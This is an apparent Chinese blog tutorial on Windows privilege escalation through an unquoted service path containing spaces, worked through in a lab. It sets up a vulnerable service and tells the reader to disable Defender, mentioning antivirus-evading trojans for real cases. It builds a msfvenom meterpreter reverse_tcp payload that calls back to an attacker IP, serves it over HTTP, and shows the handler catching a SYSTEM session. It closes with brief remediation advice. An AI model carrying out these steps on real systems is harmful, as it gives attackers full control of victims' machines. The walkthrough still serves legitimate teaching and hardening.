带空格的系统服务提权

带空格的系统服务提权

一、漏洞原理和利用条件
1、漏洞原理

当系统管理员配置Windows服务时,必须指定要执行的命令,或者运行可执行文件的路径。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果文件路径没有被双引号包裹的话,空格会截断文件路径,空格前的路径会被当做目标路径

2、利用条件

看到服务执行路径存在空格并没有加引号,路径可写即可利用该漏洞

二、漏洞环境复现
1、开启漏洞服务
C:\Users\Administrator>sc create test_server6 binpath="E:\bin 123\calc.exe" start=auto
[SC] CreateService 成功

C:\Users\Administrator>sc query test_server6

SERVICE_NAME: test_server6
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 1077  (0x435)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

在这里插入图片描述

2、关闭Defender

这里我们需要把Windows默认的防病毒关闭,实际情况可以使用免杀的木马进行绕过

在这里插入图片描述

永久关闭Defender

在这里插入图片描述

好的这边漏洞环境已经,准备好了现在我们切换到test用户进行提权

三、提权过程
1、Kali制作反弹shell木马
#生成木马,需要自动迁移进程
msf6 > msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.141 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > windows.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.141 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > windows.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 901 bytes
Final size of exe file: 7168 bytes

msf6 > ls
[*] exec: ls

windows.exe 

在这里插入图片描述

2、上传木马
#开启http服务
msf6 > python -m http.server 80
[*] exec: python -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

在这里插入图片描述

下载木马

在这里插入图片描述

3、Kali开启监听
#后台监听
msf6 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.88.141 -P 4444
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.88.141:4444 
#查看后台项目
msf6 > jobs 

Jobs
====

  Id  Name                    Payload                              Payload opts
  --  ----                    -------                              ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.88.141:4444

在这里插入图片描述

4、更改木马名

在这里插入图片描述

重启计算机让服务启动起来,就把我们的木马给运行起来了

5、完成提权
msf6 > 
[*] Sending stage (200774 bytes) to 192.168.88.131
#查看会话
msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DESKTOP-74FDETH  192.168.88.141:4444 -> 192.168.88.131:49668 (192.1
                                                                            68.88.131)

在这里插入图片描述

四、修复建议
1、尽量运行路径不带空格
2、如果必须空格就使用双引号包裹起来
3、取消用户对文件夹的修改权限
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值